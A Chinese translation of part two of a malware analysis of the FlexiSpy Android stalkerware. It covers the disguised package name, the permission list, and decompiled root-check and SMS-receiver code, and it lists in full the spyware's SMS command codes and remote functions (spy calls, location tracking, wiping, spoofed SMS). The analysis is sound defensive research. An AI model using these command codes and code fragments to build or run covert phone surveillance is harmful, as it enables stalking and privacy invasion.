全球知名移动间谍软件FlexiSpy的分析(part2)
原文:全球最大的勒索软件FlexiSpy的分析(part2)
全球知名移动间谍软件FlexiSpy的分析(part2)
![](http://p1.qhmsg.com/dm/150_150_100/t00df551a583a87f4e9.jpg)
作者:myswsun
翻译:myswsun
预估稿费:120RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
传送门:全球知名移动间谍软件FlexiSpy的分析(part1)
0x00 前言
这是FlexiSpy分析的第二部分。反病毒的同行注意了,新的IOC和我的jeb数据库文件在本文底部。这个应用很大,因此我需要将它分割为多个部分。在主apk文件中有几个组件。我们先看下assets(注意这些zip文件是apk和dex文件)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
5002: data
Camera.apk: Zip archive data, at least v2.0 to extract
Xposed-Disabler-Recovery.zip: Zip archive data, at least v2.0 to extract
Xposed-Installer-Recovery.zip: Zip archive data, at least v2.0 to extract
XposedBridge.jar: Zip archive data, at least v1.0 to extract
arm64-v8a: directory
arm_app_process_xposed_sdk15: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
arm_app_process_xposed_sdk16: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
arm_xposedtest_sdk15: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
arm_xposedtest_sdk16: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
aud.zip: Zip archive data, at least v2.0 to extract
bugd.zip: Zip archive data, at least v2.0 to extract
busybox: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, for GNU /Linux 2.6.16, stripped
callmgr.zip: Zip archive data, at least v2.0 to extract
callmon.zip: Zip archive data, at least v2.0 to extract
dwebp: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
dwebp64: ELF 64-bit LSB shared object, version 1 (SYSV), dynamically linked (uses shared libs), stripped
ffmpeg: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
gesture_hash.zip: Zip archive data, at least v2.0 to extract
libaac.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libamr.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libasound.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libcrypto_32bit.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libflasusconfig.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libflhtcconfig.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libfllgconfig.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libflmotoconfig.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libflsamsungconfig.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libflsonyconfig.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libfxexec.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libfxril.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libfxtmessages.8.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libfxwebp.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libkma.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libkmb.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
liblame.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libmp3lame.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libsqliteX.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libvcap.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
maind: directory
maind.zip: Zip archive data, at least v2.0 to extract
mixer: directory
panzer: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
pmond.zip: Zip archive data, at least v2.0 to extract
psysd.zip: Zip archive data, at least v2.0 to extract
ticket.apk: Zip archive data, at least v2.0 to extract
vdaemon: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
x86_app_process_xposed_sdk15: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
x86_app_process_xposed_sdk16: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
x86_xposedtest_sdk15: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
x86_xposedtest_sdk16: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
ben@bens-MacBook:~ /Downloads/bin/5002_2 .24.3_green.APK.out /assets/product $
|
0x01 方法
监控软件有3个版本。这个非常棒,因为它包含了完整的代码注释。
l 泄漏的源码版本是1.00.1。虽然有文档,但是它只有2.x版本以下的一小部分功能。
l 2.24.3 APK文件:这是编译好的代码,不包含任何注释。这比泄漏的源代码版本新。有更多功能。有混淆,且有大量的额外的Modules/assets.
l 2.25.1 APK:编译代码。没有注释。转储中最新版本。我们看出来和2.24.3的区别
有两个Windows可执行程序和一个mac可执行文件。我还没有看它们。
计划从应用的入口点开始(当用户点击图标时发生),并且检查intent接受器。
0x02 AndroidManifest.xml信息
在这有一些有趣的东西。首先包的名字是com.android.systemupdate。这个可能是命名欺骗用户,认为这个应用是一个官方的安卓应用。
1
2
3
|
<?xml version= "1.0" encoding= "utf-8" ?>
<manifest android:versionCode= "1446" android:versionName= "2.24.3" package= "com.android.systemupdate" platformBuildVersionCode= "15" platformBuildVersionName= "4.0.4-1406430" xmlns:android= "http://schemas.android.com/apk/res/android" >
<supports-screens android:anyDensity= "true" android:largeScreens= "true" android:normalScreens= "true" android:resizeable= "true" android:smallScreens= "true" android:xlargeScreens= "true" />
|
大量的权限覆盖了对于侵犯隐私需要的一切。下面是全部列表。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
<uses-permission android:name= "android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name= "android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name= "android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name= "android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name= "android.permission.ACCOUNT_MANAGER" />
<uses-permission android:name= "android.permission.AUTHENTICATE_ACCOUNTS" />
<uses-permission android:name= "android.permission.CALL_PHONE" />
<uses-permission android:name= "android.permission.CAMERA" />
<uses-permission android:name= "android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name= "android.permission.GET_ACCOUNTS" />
<uses-permission android:name= "android.permission.GET_TASKS" />
<uses-permission android:name= "android.permission.INTERNET" />
<uses-permission android:name= "android.permission.KILL_BACKGROUND_PROCESSES" />
<uses-permission android:name= "android.permission.MODIFY_PHONE_STATE" />
<uses-permission android:name= "android.permission.MODIFY_AUDIO_SETTINGS" />
<uses-permission android:name= "android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name= "android.permission.READ_CALL_LOG" />
<uses-permission android:name= "android.permission.READ_CONTACTS" />
<uses-permission android:name= "android.permission.READ_PHONE_STATE" />
<uses-permission android:name= "android.permission.READ_SMS" />
<uses-permission android:name= "android.permission.RECEIVE_SMS" />
<uses-permission android:name= "android.permission.RESTART_PACKAGES" />
<uses-permission android:name= "android.permission.SEND_SMS" />
<uses-permission android:name= "android.permission.VIBRATE" />
<uses-permission android:name= "android.permission.WAKE_LOCK" />
<uses-permission android:name= "android.permission.WRITE_CALL_LOG" />
<uses-permission android:name= "android.permission.WRITE_CONTACTS" />
<uses-permission android:name= "android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name= "android.permission.WRITE_SMS" />
<uses-permission android:name= "android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name= "com.android.browser.permission.READ_HISTORY_BOOKMARKS" />
<uses-permission android:name= "com.android.browser.permission.WRITE_HISTORY_BOOKMARKS" />
<uses-permission android:name= "com.google.android.c2dm.permission.RECEIVE" />
<uses-permission android:name= "com.wefeelsecure.feelsecure.permission.C2D_MESSAGE" />
<uses-permission android:name= "com.sec.android.provider.logsprovider.permission.READ_LOGS" />
<uses-permission android:name= "com.sec.android.provider.logsprovider.permission.WRITE_LOGS" />
<uses-permission android:name= "android.permission.WRITE_SYNC_SETTINGS" />
<uses-permission android:name= "android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name= "android.permission.BATTERY_STATS" />
<uses-permission android:name= "android.permission.WRITE_SETTINGS" />
<uses-permission android:name= "android.permission.RECORD_AUDIO" />
<uses-permission android:name= "android.permission.READ_CALENDAR" />
<uses-permission android:name= "android.permission.WRITE_CALENDAR" />
<uses-permission android:name= "android.permission.GET_PACKAGE_SIZE" />
<uses-permission android:name= "android.permission.ACCESS_SUPERUSER" />
<uses-permission android:name= "android.permission.WRITE_APN_SETTINGS" />
<uses-permission android:name= "android.permission.USE_CREDENTIALS" />
<uses-permission android:name= "android.permission.MANAGE_ACCOUNTS" />
<uses-permission android:name= "android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name= "android.permission.BLUETOOTH" />
|
0x03 入口点onCreate
用户安装应用程序时运行的第一个activity是com.phoenix.client.PrerequisitesSetupActivity。让我们看下它的功能。
对于大部分的android activities,onCreate方法通常首先运行。在一个GUI初始化后,应用检查手机是否root。
1
2
3
4
5
6
7
8
9
10
|
public void onCreate(Bundle arg6) {
super.onCreate(arg6); // ignore
this.setContentView(2130903047); // ignore
StrictMode.setThreadPolicy(new StrictMode$ThreadPolicy$Builder().permitAll().build());
this.o_Button = this.findViewById(2131165209); // ignore
this.o_Button2 = this.findViewById(2131165210); // ignore
this.o_TextView = this.findViewById(2131165207); // ignore
this.k = this.findViewById(2131165208); // ignore
this.k.setVisibility(4); // ignore
this.o_TextView.setText(String. format (this.getString(2130968605), cz.m_superUserCheck(((Context)this)), this.getString(2130968601))); // can return SuperSU or Superuser
|
0x04 root检查 cz.m_superUserCheck
实际的root检查如下。检查是否安装了4个root包中的任何一个。来表明设备是否被root。注意这是代码库中众多root/package检查中的第一个。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
public static SuBinaryProvider d(Context arg1) {
SuBinaryProvider v0;
if (e.m_LooksForInstalledPackages(arg1, "com.noshufou.android.su" )) {
v0 = SuBinaryProvider.NOSHUFOU_SUPERUSER;
}
else if (e.m_LooksForInstalledPackages(arg1, "eu.chainfire.supersu" )) {
v0 = SuBinaryProvider.CHAINFIRE_SUPERSU;
}
else if (e.m_LooksForInstalledPackages(arg1, "com.m0narx.su" )) {
v0 = SuBinaryProvider.M0NARX_SUPERUSER;
}
else if (e.m_LooksForInstalledPackages(arg1, "com.koushikdutta.superuser" )) {
v0 = SuBinaryProvider.KOUSHIKDUTTA_SUPERUSER;
}
else {
v0 = SuBinaryProvider.CHAINFIRE_SUPERSU;
}
return v0;
|
根据是否检测到root包,设置值为SuperUser或者SuperSU。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public static String m_superUserCheck(Context arg3) {
SuBinaryProvider SuCheck = cz.ChecksforSuPackages(arg3); // checks for 4 packages
String str_returnValSuperSu = "SuperSU" ; // default return val
if (SuCheck == SuBinaryProvider.CHAINFIRE_SUPERSU) {
str_returnValSuperSu = "SuperSU" ;
}
else {
if (SuCheck != SuBinaryProvider.NOSHUFOU_SUPERUSER && SuCheck != SuBinaryProvider.KOUSHIKDUTTA_SUPERUSER && SuCheck != SuBinaryProvider.M0NARX_SUPERUSER) {
return str_returnValSuperSu;
}
str_returnValSuperSu = "Superuser" ;
}
return str_returnValSuperSu; // can return SuperSU or Superuser
|
0x05 回到onCreate
在root检查后,应用检测SD卡中的一个文件。这个可能是检查应用程序是否之前安装过。根据ac.txt文件是否存在,两种执行将发生:一个启动AutoInstallerActivity,另一个启动CoreService。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
this.o_TextView.setText(String. format (this.getString(2130968605), cz.m_superUserCheck(((Context)this)), this.getString(2130968601))); // can return SuperSU or Superuser
this.o_Button.setOnClickListener(new cp (this));
this.o_Button2.setOnClickListener(new cq(this));
if (cz.m_acTextCHeck()) { // checks for ac.txt value on SDcard
Intent o_intentObj = new Intent(((Context)this), AutoInstallerActivity.class); // if the txt file IS present
o_intentObj.setFlags(335544320);
this.startActivity(o_intentObj); // starts theAutoInstallerActivity class
this.finish();
}
else {
this.g = new SetupFlagsManager(o.a(this.getApplicationContext())); // if the txt file is NOT present
this.f = ak.a(((Context)this));
if (this.c == null) {
this.bindService(new Intent(((Context)this), CoreService.class), this.l, 1);
}
else {
this.b();
}
}
|
不管执行什么路径,coreService都会启动。AutoInstallerActivity有一些安装步骤,写一些日志文件,创建一些自定义安装对象和启动CoreService类。此时应用等待用户交互。细节如下。
0x06 com.phoenix.client.receiver.CommonReceiver
Receivers监听android上来的intents。当屏幕解锁,手机重启或者新的SMS消息到达时代码得到响应。
1
2
3
4
5
6
7
8
|
<intent-filter android:priority= "2147483647" >
<action android:name= "android.intent.action.USER_PRESENT" />
<action android:name= "android.intent.action.BOOT_COMPLETED" />
<action android:name= "android.intent.action.QUICKBOOT_POWERON" />
<action android:name= "android.intent.action.PHONE_STATE" />
<action android:name= "com.htc.intent.action.QUICKBOOT_POWERON" />
<action android:name= "android.provider.Telephony.SMS_RECEIVED" />
< /intent-filter >
|
0x07 接收SMS
当接收SMS被检测到。应用在SMS消息中查找指定值<*#。这好像是发送给受害者的一个指定的命令控制值。
1
2
3
4
5
6
7
8
|
while (o_Iterator.hasNext()) {
str_intentAction = o_Iterator.next().getMessageBody();
if (str_intentAction != null && (str_intentAction.trim().startsWith( "<*#" ))) { // look for a "special value" in sms
i_specialCommandFound = 1;
continue ;
}
i_specialCommandFound = 0;
|
在泄漏的源代码文件中的交叉引用中1.00.1/_build/source/daemon_remote_command_manager/src/com/vvt/remotecommandmanager/SmsCommandPattern.java表明SMS消息中的这个<**是用于远程命令。1.00.1版本的命令如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
|
//Monitor call
public static final String ENABLE_SPY_CALL = "<*#9>" ;
public static final String ENABLE_SPY_CALL_WITH_MONITOR = "<*#10>" ;
public static final String ADD_MONITORS = "<*#160>" ;
public static final String RESET_MONITORS = "<*#163>" ;
public static final String CLEAR_MONITORS = "<*#161>" ;
public static final String QUERY_MONITORS = "<*#162>" ;
public static final String ADD_CIS_NUMBERS = "<*#130>" ;
public static final String RESET_CIS_NUMBERS = "<*#131>" ;
public static final String CLEAR_CIS_NUMBERS = "<*#132>" ;
public static final String QUERY_CIS_NUMBERS = "<*#133>" ;
//Miscellaneous
public static final String REQUEST_HEART_BEAT = "<*#2>" ;
public static final String REQUEST_EVENTS = "<*#64>" ;
public static final String SET_SETTINGS = "<*#92>" ;
public static final String ENABLE_SIM_CHANGE = "<*#56>" ;
public static final String ENABLE_CAPTURE = "<*#60>" ;
public static final String SET_VISIBILITY = "<*#14214>" ;
public static final String ENABLE_COMMUNICATION_RESTRICTIONS = "<*#204>" ;
//Activation and installation
public static final String ACTIVATE_WITH_ACTIVATION_CODE_AND_URL = "<*#14140>" ;
public static final String ACTIVATE_WITH_URL = "<*#14141>" ;
public static final String DEACTIVATE = "<*#14142>" ;
public static final String SET_ACTIVATION_PHONE_NUMBER = "<*#14258>" ;
public static final String SYNC_UPDATE_CONFIGURATION = "<*#300>" ;
public static final String UNINSTALL_APPLICATION = "<*#200>" ;
public static final String SYNC_SOFTWARE_UPDATE = "<*#306>" ;
public static final String ENABLE_PRODUCT = "<*#14000>" ;
public static final String REQUEST_MOBILE_NUMBER = "<*#199>" ;
//Address Book
public static final String REQUEST_ADDRESSBOOK = "<*#120>" ;
public static final String SET_ADDRESSBOOK_FOR_APPROVAL = "<*#121>" ;
public static final String SET_ADDRESSBOOK_MANAGEMENT = "<*#122>" ;
public static final String SYNC_ADDRESSBOOK = "<*#301>" ;
//Media
// public static final String UPLOAD_ACTUAL_MEDIA = "" ;
// public static final String DELETE_ACTUAL_MEDIA = "" ;
public static final String ON_DEMAND_RECORD = "<*#84>" ;
//GPS
public static final String ENABLE_LOCATION = "<*#52>" ;
public static final String UPDATE_GPS_INTERVAL = "<*#53>" ;
public static final String ON_DEMAND_LOCATION = "<*#101>" ;
//Communication
public static final String SPOOF_SMS = "<*#85>" ;
public static final String SPOOF_CALL = "<*#86>" ;
//Call watch
public static final String ENABLE_WATCH_NOTIFICATION = "<*#49>" ;
public static final String SET_WATCH_FLAGS = "<*#50>" ;
public static final String ADD_WATCH_NUMBER = "<*#45>" ;
public static final String RESET_WATCH_NUMBER = "<*#46>" ;
public static final String CLEAR_WATCH_NUMBER = "<*#47>" ;
public static final String QUERY_WATCH_NUMBER = "<*#48>" ;
//Keyword list
public static final String ADD_KEYWORD = "<*#73>" ;
public static final String RESET_KEYWORD = "<*#74>" ;
public static final String CLEAR_KEYWORD = "<*#75>" ;
public static final String QUERY_KEYWORD = "<*#76>" ;
//URL list
public static final String ADD_URL = "<*#396>" ;
public static final String RESET_URL = "<*#397>" ;
public static final String CLEAR_URL = "<*#398>" ;
public static final String QUERY_URL = "<*#399>" ;
//Security and protection
public static final String SET_PANIC_MODE = "<*#31>" ;
public static final String SET_WIPE_OUT = "<*#201>" ;
public static final String SET_LOCK_DEVICE = "<*#202>" ;
public static final String SET_UNLOCK_DEVICE = "<*#203>" ;
public static final String ADD_EMERGENCY_NUMBER = "<*#164>" ;
public static final String RESET_EMERGENCY_NUMBER = "<*#165>" ;
public static final String QUERY_EMERGENCY_NUMBER = "<*#167>" ;
public static final String CLEAR_EMERGENCY_NUMBER = "<*#166>" ;
//Troubleshoot
public static final String REQUEST_SETTINGS = "<*#67>" ;
public static final String REQUEST_DIAGNOSTIC = "<*#62>" ;
public static final String REQUEST_START_UP_TIME = "<*#5>" ;
public static final String RESTART_DEVICE = "<*#147>" ;
public static final String RETRIEVE_RUNNING_PROCESSES = "<*#14852>" ;
public static final String TERMINATE_RUNNING_PROCESSES = "<*#14853>" ;
public static final String SET_DEBUG_MODE = "<*#170>" ;
public static final String REQUEST_CURRENT_URL = "<*#14143>" ;
public static final String ENABLE_CONFERENCING_DEBUGING = "<*#12>" ;
public static final String INTERCEPTION_TONE = "<*#21>" ;
public static final String RESET_LOG_DURATION = "<*#65>" ;
public static final String FORCE_APN_DISCOVERY = "<*#71>" ;
//Notification Numbers
public static final String ADD_NOTIFICATION_NUMBERS = "<*#171>" ;
public static final String RESET_NOTIFICATION_NUMBERS = "<*#172>" ;
public static final String CLEAR_NOTIFICATION_NUMBERS = "<*#173>" ;
public static final String QUERY_NOTIFICATION_NUMBERS = "<*#174>" ;
//Home numbers
public static final String ADD_HOMES = "<*#150>" ;
public static final String RESET_HOMES = "<*#151>" ;
public static final String CLEAR_HOMES = "<*#152>" ;
public static final String QUERY_HOMES = "<*#153>" ;
//Sync
public static final String SYNC_COMMUNICATION_DIRECTIVES = "<*#302>" ;
public static final String SYNC_TIME = "<*#303>" ;
public static final String SYNC_PROCESS_PROFILE = "<*#304>" ;
public static final String SYNC_INCOMPATIBLE_APPLICATION_DEFINITION = "<*#307>" ;
|
在2.x版本中的命令变了。发送给受害者设备的2.x的远程命令的列表如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
|
RemoteFunction.ACTIVATE_PRODUCT = new RemoteFunction( "ACTIVATE_PRODUCT" , 0);
RemoteFunction.DEACTIVATE_PRODUCT = new RemoteFunction( "DEACTIVATE_PRODUCT" , 1);
RemoteFunction.IS_PRODUCT_ACTIVATED = new RemoteFunction( "IS_PRODUCT_ACTIVATED" , 2);
RemoteFunction.UNINSTALL_PRODUCT = new RemoteFunction( "UNINSTALL_PRODUCT" , 3);
RemoteFunction.GET_LICENSE_STATUS = new RemoteFunction( "GET_LICENSE_STATUS" , 4);
RemoteFunction.GET_ACTIVATION_CODE = new RemoteFunction( "GET_ACTIVATION_CODE" , 5);
RemoteFunction.AUTO_ACTIVATE_PRODUCT = new RemoteFunction( "AUTO_ACTIVATE_PRODUCT" , 6);
RemoteFunction.MANAGE_COMMON_DATA = new RemoteFunction( "MANAGE_COMMON_DATA" , 7);
RemoteFunction.ENABLE_EVENT_DELIVERY = new RemoteFunction( "ENABLE_EVENT_DELIVERY" , 8);
RemoteFunction.SET_EVENT_MAX_NUMBER = new RemoteFunction( "SET_EVENT_MAX_NUMBER" , 9);
RemoteFunction.SET_EVENT_TIMER = new RemoteFunction( "SET_EVENT_TIMER" , 10);
RemoteFunction.SET_DELIVERY_METHOD = new RemoteFunction( "SET_DELIVERY_METHOD" , 11);
RemoteFunction.ADD_URL = new RemoteFunction( "ADD_URL" , 12);
RemoteFunction.RESET_URL = new RemoteFunction( "RESET_URL" , 13);
RemoteFunction.CLEAR_URL = new RemoteFunction( "CLEAR_URL" , 14);
RemoteFunction.QUERY_URL = new RemoteFunction( "QUERY_URL" , 15);
RemoteFunction.ENABLE_EVENT_CAPTURE = new RemoteFunction( "ENABLE_EVENT_CAPTURE" , 16);
RemoteFunction.ENABLE_CAPTURE_CALL = new RemoteFunction( "ENABLE_CAPTURE_CALL" , 17);
RemoteFunction.ENABLE_CAPTURE_SMS = new RemoteFunction( "ENABLE_CAPTURE_SMS" , 18);
RemoteFunction.ENABLE_CAPTURE_EMAIL = new RemoteFunction( "ENABLE_CAPTURE_EMAIL" , 19);
RemoteFunction.ENABLE_CAPTURE_MMS = new RemoteFunction( "ENABLE_CAPTURE_MMS" , 20);
RemoteFunction.ENABLE_CAPTURE_IM = new RemoteFunction( "ENABLE_CAPTURE_IM" , 21);
RemoteFunction.ENABLE_CAPTURE_IMAGE = new RemoteFunction( "ENABLE_CAPTURE_IMAGE" , 22);
RemoteFunction.ENABLE_CAPTURE_AUDIO = new RemoteFunction( "ENABLE_CAPTURE_AUDIO" , 23);
RemoteFunction.ENABLE_CAPTURE_VIDEO = new RemoteFunction( "ENABLE_CAPTURE_VIDEO" , 24);
RemoteFunction.ENABLE_CAPTURE_WALLPAPER = new RemoteFunction( "ENABLE_CAPTURE_WALLPAPER" , 25);
RemoteFunction.ENABLE_CAPTURE_APP = new RemoteFunction( "ENABLE_CAPTURE_APP" , 26);
RemoteFunction.ENABLE_CAPTURE_URL = new RemoteFunction( "ENABLE_CAPTURE_URL" , 27);
RemoteFunction.ENABLE_CAPTURE_CALL_RECORD = new RemoteFunction( "ENABLE_CAPTURE_CALL_RECORD" , 28);
RemoteFunction.ENABLE_CAPTURE_CALENDAR = new RemoteFunction( "ENABLE_CAPTURE_CALENDAR" , 29);
RemoteFunction.ENABLE_CAPTURE_PASSWORD = new RemoteFunction( "ENABLE_CAPTURE_PASSWORD" , 30);
RemoteFunction.ENABLE_TEMPORAL_CONTROL_RECORD_AMBIENT = new RemoteFunction( "ENABLE_TEMPORAL_CONTROL_RECORD_AMBIENT" , 31);
RemoteFunction.ENABLE_CAPTURE_VOIP = new RemoteFunction( "ENABLE_CAPTURE_VOIP" , 32);
RemoteFunction.ENABLE_VOIP_CALL_RECORDING = new RemoteFunction( "ENABLE_VOIP_CALL_RECORDING" , 33);
RemoteFunction.ENABLE_CAPTURE_CONTACT = new RemoteFunction( "ENABLE_CAPTURE_CONTACT" , 34);
RemoteFunction.SET_IM_ATTACHMENT_LIMIT_SIZE = new RemoteFunction( "SET_IM_ATTACHMENT_LIMIT_SIZE" , 35);
RemoteFunction.ENABLE_CAPTURE_GPS = new RemoteFunction( "ENABLE_CAPTURE_GPS" , 36);
RemoteFunction.SET_GPS_TIME_INTERVAL = new RemoteFunction( "SET_GPS_TIME_INTERVAL" , 37);
RemoteFunction.GET_GPS_ON_DEMAND = new RemoteFunction( "GET_GPS_ON_DEMAND" , 38);
RemoteFunction.ENABLE_SPY_CALL = new RemoteFunction( "ENABLE_SPY_CALL" , 39);
RemoteFunction.ENABLE_WATCH_NOTIFICATION = new RemoteFunction( "ENABLE_WATCH_NOTIFICATION" , 40);
RemoteFunction.SET_WATCH_FLAG = new RemoteFunction( "SET_WATCH_FLAG" , 41);
RemoteFunction.GET_CONNECTION_HISTORY = new RemoteFunction( "GET_CONNECTION_HISTORY" , 42);
RemoteFunction.GET_CONFIGURATION = new RemoteFunction( "GET_CONFIGURATION" , 43);
RemoteFunction.GET_SETTINGS = new RemoteFunction( "GET_SETTINGS" , 44);
RemoteFunction.GET_DIAGNOSTICS = new RemoteFunction( "GET_DIAGNOSTICS" , 45);
RemoteFunction.GET_EVENT_COUNT = new RemoteFunction( "GET_EVENT_COUNT" , 46);
RemoteFunction.SEND_INSTALLED_APPLICATIONS = new RemoteFunction( "SEND_INSTALLED_APPLICATIONS" , 47);
RemoteFunction.REQUEST_CALENDER = new RemoteFunction( "REQUEST_CALENDER" , 48);
RemoteFunction.SET_SUPERUSER_VISIBILITY = new RemoteFunction( "SET_SUPERUSER_VISIBILITY" , 49);
RemoteFunction.SET_LOCK_PHONE_SCREEN = new RemoteFunction( "SET_LOCK_PHONE_SCREEN" , 50);
RemoteFunction.REQUEST_DEVICE_SETTINGS = new RemoteFunction( "REQUEST_DEVICE_SETTINGS" , 51);
RemoteFunction.SET_UPDATE_AVAILABLE_SILENT_MODE = new RemoteFunction( "SET_UPDATE_AVAILABLE_SILENT_MODE" , 52);
RemoteFunction.DELETE_DATABASE = new RemoteFunction( "DELETE_DATABASE" , 53);
RemoteFunction.RESTART_DEVICE = new RemoteFunction( "RESTART_DEVICE" , 54);
RemoteFunction.REQUEST_HISTORICAL_EVENTS = new RemoteFunction( "REQUEST_HISTORICAL_EVENTS" , 55);
RemoteFunction.REQUEST_TEMPORAL_APPLICATION_CONTROL = new RemoteFunction( "REQUEST_TEMPORAL_APPLICATION_CONTROL" , 56);
RemoteFunction.SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT_MODE = new RemoteFunction( "SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT_MODE" , 57);
RemoteFunction.SEND_HEARTBEAT = new RemoteFunction( "SEND_HEARTBEAT" , 58);
RemoteFunction.SEND_MOBILE_NUMBER = new RemoteFunction( "SEND_MOBILE_NUMBER" , 59);
RemoteFunction.SEND_SETTINGS_EVENT = new RemoteFunction( "SEND_SETTINGS_EVENT" , 60);
RemoteFunction.SEND_EVENTS = new RemoteFunction( "SEND_EVENTS" , 61);
RemoteFunction.REQUEST_CONFIGURATION = new RemoteFunction( "REQUEST_CONFIGURATION" , 62);
RemoteFunction.SEND_CURRENT_URL = new RemoteFunction( "SEND_CURRENT_URL" , 63);
RemoteFunction.SEND_BOOKMARKS = new RemoteFunction( "SEND_BOOKMARKS" , 64);
RemoteFunction.DEBUG_SWITCH_CONTAINER = new RemoteFunction( "DEBUG_SWITCH_CONTAINER" , 65);
RemoteFunction.DEBUG_HIDE_APP = new RemoteFunction( "DEBUG_HIDE_APP" , 66);
RemoteFunction.DEBUG_UNHIDE_APP = new RemoteFunction( "DEBUG_UNHIDE_APP" , 67);
RemoteFunction.DEBUG_IS_DAEMON = new RemoteFunction( "DEBUG_IS_DAEMON" , 68);
RemoteFunction.DEBUG_IS_FULL_MODE = new RemoteFunction( "DEBUG_IS_FULL_MODE" , 69);
RemoteFunction.DEBUG_GET_CONFIG_ID = new RemoteFunction( "DEBUG_GET_CONFIG_ID" , 70);
RemoteFunction.DEBUG_GET_ACTUAL_CONFIG_ID = new RemoteFunction( "DEBUG_GET_ACTUAL_CONFIG_ID" , 71);
RemoteFunction.DEBUG_GET_VERSION_CODE = new RemoteFunction( "DEBUG_GET_VERSION_CODE" , 72);
RemoteFunction.DEBUG_SEND_TEST_SMS = new RemoteFunction( "DEBUG_SEND_TEST_SMS" , 73);
RemoteFunction.DEBUG_CLOSE_APP = new RemoteFunction( "DEBUG_CLOSE_APP" , 74);
RemoteFunction.DEBUG_BRING_UI_TO_HOME_SCREEN = new RemoteFunction( "DEBUG_BRING_UI_TO_HOME_SCREEN" , 75);
RemoteFunction.DEBUG_SET_APPLICATION_MODE = new RemoteFunction( "DEBUG_SET_APPLICATION_MODE" , 76);
